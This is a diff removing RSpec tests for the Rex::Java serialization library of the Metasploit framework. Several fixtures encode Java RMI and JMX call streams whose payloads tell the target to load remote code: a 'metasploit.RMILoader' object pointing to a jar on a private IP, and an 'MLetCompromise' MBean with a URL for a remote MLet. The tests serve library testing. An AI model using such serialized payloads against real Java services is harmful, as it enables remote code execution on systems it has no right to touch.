"\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" +
|
|
||||||
"\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" +
|
|
||||||
"\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" +
|
|
||||||
"\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" +
|
|
||||||
"\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" +
|
|
||||||
"\x2c\x69\x64\x3d\x31\x78\x70"
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:marshalled_argument) do
|
|
||||||
"\xac\xed\x00\x05\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c" +
|
|
||||||
"\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10" +
|
|
||||||
"\x73\x29\x6c\x02\x00\x00\x78\x70\x00\x00\x00\x01\x74\x00\x1f\x68" +
|
|
||||||
"\x74\x74\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x31\x36\x2e\x31\x35\x38" +
|
|
||||||
"\x2e\x31\x33\x32\x3a\x34\x31\x34\x31\x2f\x6d\x6c\x65\x74"
|
|
||||||
end
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::Stream" do
|
|
||||||
expect(stream).to be_a(Rex::Java::Serialization::Model::Stream)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes magic with java serialized stream signature" do
|
|
||||||
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes version with java serialized stream default version " do
|
|
||||||
expect(stream.version).to eq(Rex::Java::Serialization::STREAM_VERSION)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes references as empty array " do
|
|
||||||
expect(stream.references).to be_empty
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes stream to nil by default" do
|
|
||||||
expect(stream.stream).to be_nil
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when deserializing a simple Object stream" do
|
|
||||||
it "deserializes an Stream" do
|
|
||||||
expect(stream.decode(easy_object_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the signature correctly" do
|
|
||||||
stream.decode(easy_object_stream_io)
|
|
||||||
expect(stream.magic).to eq(Rex::Java::Serialization::STREAM_MAGIC)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes all the contents" do
|
|
||||||
stream.decode(easy_object_stream_io)
|
|
||||||
expect(stream.contents.length).to eq(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes a simple object correctly" do
|
|
||||||
stream.decode(easy_object_stream_io)
|
|
||||||
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when deserializing a char array" do
|
|
||||||
it "deserializes an Stream" do
|
|
||||||
expect(stream.decode(char_array_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes the char array correctly" do
|
|
||||||
stream.decode(char_array_stream_io)
|
|
||||||
expect(stream.contents[0]).to be_an(Rex::Java::Serialization::Model::NewArray)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when deserializing a complex stream with references" do
|
|
||||||
it "deserializes an Stream" do
|
|
||||||
expect(stream.decode(complex_stream_io)).to be_a(Rex::Java::Serialization::Model::Stream)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes all the contents in the Stream" do
|
|
||||||
stream.decode(complex_stream_io)
|
|
||||||
expect(stream.contents.length).to eq(4)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "deserializes object contents" do
|
|
||||||
stream.decode(complex_stream_io)
|
|
||||||
expect(stream.contents[3]).to be_a(Rex::Java::Serialization::Model::NewObject)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints a simple Object stream" do
|
|
||||||
stream.decode(easy_object_stream_io)
|
|
||||||
expect(stream.to_s).to eq(easy_object_stream_to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a char array stream" do
|
|
||||||
stream.decode(char_array_stream_io)
|
|
||||||
expect(stream.to_s).to eq(char_array_stream_to_s)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints a complex stream with references" do
|
|
||||||
stream.decode(complex_stream_io)
|
|
||||||
expect(stream.to_s).to eq(complex_stream_to_s)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when serializing a simple Object stream" do
|
|
||||||
it "serializes the Stream" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'Easy')
|
|
||||||
new_class_desc.serial_version = 0x741de1bcbb2fcbaa
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = 'int'
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'SSN')
|
|
||||||
new_class_desc.fields << field
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
||||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_object.class_desc.description = new_class_desc
|
|
||||||
new_object.class_data = [['int', 0x41424344]]
|
|
||||||
|
|
||||||
stream.contents << new_object
|
|
||||||
expect(stream.encode.unpack("C*")).to eq(easy_object_stream.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when serializing a char array" do
|
|
||||||
it "serializes the Stream" do
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[C')
|
|
||||||
new_class_desc.serial_version = 0xb02666b0e25d84ac
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_class_desc
|
|
||||||
new_array.type = 'char'
|
|
||||||
new_array.values = [97, 98]
|
|
||||||
|
|
||||||
stream.contents << new_array
|
|
||||||
expect(stream.encode.unpack("C*")).to eq(char_array_stream.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when reserializing a complex stream" do
|
|
||||||
it "reserializes the original stream" do
|
|
||||||
stream.decode(complex_stream_io)
|
|
||||||
expect(stream.encode.unpack("C*")).to eq(complex_stream.unpack("C*"))
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when serializing a Java RMI call" do
|
|
||||||
it "serializes the stream correctly" do
|
|
||||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
||||||
block_data.contents = "\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xb6\x89\x8d\x8b\xf2\x86\x43"
|
|
||||||
block_data.length = block_data.contents.length
|
|
||||||
|
|
||||||
stream.contents << block_data
|
|
||||||
|
|
||||||
new_array_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_array_annotation.contents = [
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new,
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
]
|
|
||||||
|
|
||||||
new_array_super = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array_super.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_array_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.rmi.server.ObjID;')
|
|
||||||
new_array_desc.serial_version = 0x871300b8d02c647e
|
|
||||||
new_array_desc.flags = 2
|
|
||||||
new_array_desc.fields = []
|
|
||||||
new_array_desc.class_annotation = new_array_annotation
|
|
||||||
new_array_desc.super_class = new_array_super
|
|
||||||
|
|
||||||
array_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
array_desc.description = new_array_desc
|
|
||||||
|
|
||||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
||||||
new_array.type = 'java.rmi.server.ObjID;'
|
|
||||||
new_array.values = []
|
|
||||||
new_array.array_description = array_desc
|
|
||||||
|
|
||||||
stream.contents << new_array
|
|
||||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00\x00\x00\x00\x00\x00\x00\x00")
|
|
||||||
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'metasploit.RMILoader')
|
|
||||||
new_class_desc.serial_version = 0xa16544ba26f9c2f4
|
|
||||||
new_class_desc.flags = 2
|
|
||||||
new_class_desc.fields = []
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents = [
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.1:8080/5qOE7YRvC2Sb/eIdEDp.jar'),
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
]
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
||||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_object.class_desc.description = new_class_desc
|
|
||||||
new_object.class_data = []
|
|
||||||
|
|
||||||
stream.contents << new_object
|
|
||||||
|
|
||||||
stream.contents << Rex::Java::Serialization::Model::BlockData.new(nil, "\x00")
|
|
||||||
|
|
||||||
expect(stream.encode).to eq(rmi_call)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when serializing a MBeanServerConnection.getObjectInstance call data" do
|
|
||||||
it "serializes the stream correctly" do
|
|
||||||
block_data = Rex::Java::Serialization::Model::BlockData.new
|
|
||||||
block_data.contents = "\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03"
|
|
||||||
block_data.contents << "\xff\xff\xff\xff\x60\x73\xb3\x36\x1f\x37\xbd\xc2"
|
|
||||||
block_data.length = block_data.contents.length
|
|
||||||
|
|
||||||
stream.contents << block_data
|
|
||||||
|
|
||||||
new_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'javax.management.ObjectName')
|
|
||||||
new_class_desc.serial_version = 0xf03a71beb6d15cf
|
|
||||||
new_class_desc.flags = 3
|
|
||||||
new_class_desc.fields = []
|
|
||||||
new_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_class_desc.class_annotation.contents = [
|
|
||||||
Rex::Java::Serialization::Model::NullReference.new,
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
]
|
|
||||||
new_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_object = Rex::Java::Serialization::Model::NewObject.new
|
|
||||||
new_object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_object.class_desc.description = new_class_desc
|
|
||||||
new_object.class_data = []
|
|
||||||
|
|
||||||
stream.contents << new_object
|
|
||||||
stream.contents << Rex::Java::Serialization::Model::Utf.new(nil, 'MLetCompromise:name=evil,id=1')
|
|
||||||
stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
stream.contents << Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
expect(stream.encode).to eq(mbean_call)
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when serializing a marshalled argument" do
|
|
||||||
it "serializes the stream correctly" do
|
|
||||||
stream = Rex::Java::Serialization::Model::Stream.new
|
|
||||||
|
|
||||||
new_array_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
new_array_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, '[Ljava.lang.Object;')
|
|
||||||
new_array_class_desc.serial_version = 0x90ce589f1073296c
|
|
||||||
new_array_class_desc.flags = 2
|
|
||||||
new_array_class_desc.fields = []
|
|
||||||
new_array_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
new_array_class_desc.class_annotation.contents = [
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new
|
|
||||||
]
|
|
||||||
new_array_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
new_array = Rex::Java::Serialization::Model::NewArray.new
|
|
||||||
new_array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
new_array.array_description.description = new_array_class_desc
|
|
||||||
new_array.type = 'java.lang.Object;'
|
|
||||||
new_array.values = [
|
|
||||||
Rex::Java::Serialization::Model::Utf.new(nil, 'http://172.16.158.132:4141/mlet')
|
|
||||||
]
|
|
||||||
|
|
||||||
stream.contents << new_array
|
|
||||||
|
|
||||||
expect(stream.encode).to eq(marshalled_argument)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
|
@ -1,107 +0,0 @@
|
||||||
# -*- coding:binary -*-
|
|
||||||
require 'spec_helper'
|
|
||||||
|
|
||||||
require 'rex/java'
|
|
||||||
require 'stringio'
|
|
||||||
|
|
||||||
RSpec.describe Rex::Java::Serialization::Model::Utf do
|
|
||||||
subject(:utf) do
|
|
||||||
described_class.new
|
|
||||||
end
|
|
||||||
|
|
||||||
let(:sample_utf) { "\x00\x10java.lang.Number" }
|
|
||||||
let(:sample_utf_io) { StringIO.new(sample_utf) }
|
|
||||||
let(:empty_utf) { "\x00\x00" }
|
|
||||||
let(:empty_utf_io) { StringIO.new(empty_utf) }
|
|
||||||
let(:incomplete_utf) { "\x00\x10java.lang.Numb" }
|
|
||||||
let(:incomplete_utf_io) { StringIO.new(incomplete_utf) }
|
|
||||||
let(:empty_io) { StringIO.new('') }
|
|
||||||
|
|
||||||
describe ".new" do
|
|
||||||
it "Rex::Java::Serialization::Model::Utf" do
|
|
||||||
expect(utf).to be_a(Rex::Java::Serialization::Model::Utf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes length to 0" do
|
|
||||||
expect(utf.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "initializes contents with empty string" do
|
|
||||||
expect(utf.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#encode" do
|
|
||||||
context "when empty utf" do
|
|
||||||
it { expect(utf.encode).to eq(empty_utf) }
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when filled utf" do
|
|
||||||
it do
|
|
||||||
utf.length = 16
|
|
||||||
utf.contents = 'java.lang.Number'
|
|
||||||
expect(utf.encode).to eq(sample_utf)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#decode" do
|
|
||||||
context "when stream contains empty string" do
|
|
||||||
it "raises Rex::Java::Serialization::DecodeError" do
|
|
||||||
expect { utf.decode(empty_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains empty utf" do
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Utf" do
|
|
||||||
expect(utf.decode(empty_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
utf.decode(empty_utf_io)
|
|
||||||
expect(utf.length).to eq(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to empty string" do
|
|
||||||
utf.decode(empty_utf_io)
|
|
||||||
expect(utf.contents).to be_empty
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains incomplete utf" do
|
|
||||||
it "raises Rex::Java::Serialization::DecodeError" do
|
|
||||||
expect { utf.decode(incomplete_utf_io) }.to raise_error(Rex::Java::Serialization::DecodeError)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
context "when stream contains correct utf" do
|
|
||||||
|
|
||||||
it "returns a Rex::Java::Serialization::Model::Utf" do
|
|
||||||
expect(utf.decode(sample_utf_io)).to be_a(Rex::Java::Serialization::Model::Utf)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets length to 0" do
|
|
||||||
utf.decode(sample_utf_io)
|
|
||||||
expect(utf.length).to eq(16)
|
|
||||||
end
|
|
||||||
|
|
||||||
it "sets contents to sample string" do
|
|
||||||
utf.decode(sample_utf_io)
|
|
||||||
expect(utf.contents).to eq('java.lang.Number')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
describe "#to_s" do
|
|
||||||
it "prints an stream containing a sample utf" do
|
|
||||||
utf.decode(sample_utf_io)
|
|
||||||
expect(utf.to_s).to eq('java.lang.Number')
|
|
||||||
end
|
|
||||||
|
|
||||||
it "prints an stream containing an empty utf" do
|
|
||||||
utf.decode(empty_utf_io)
|
|
||||||
expect(utf.to_s).to eq('')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
Loading…
Reference in New Issue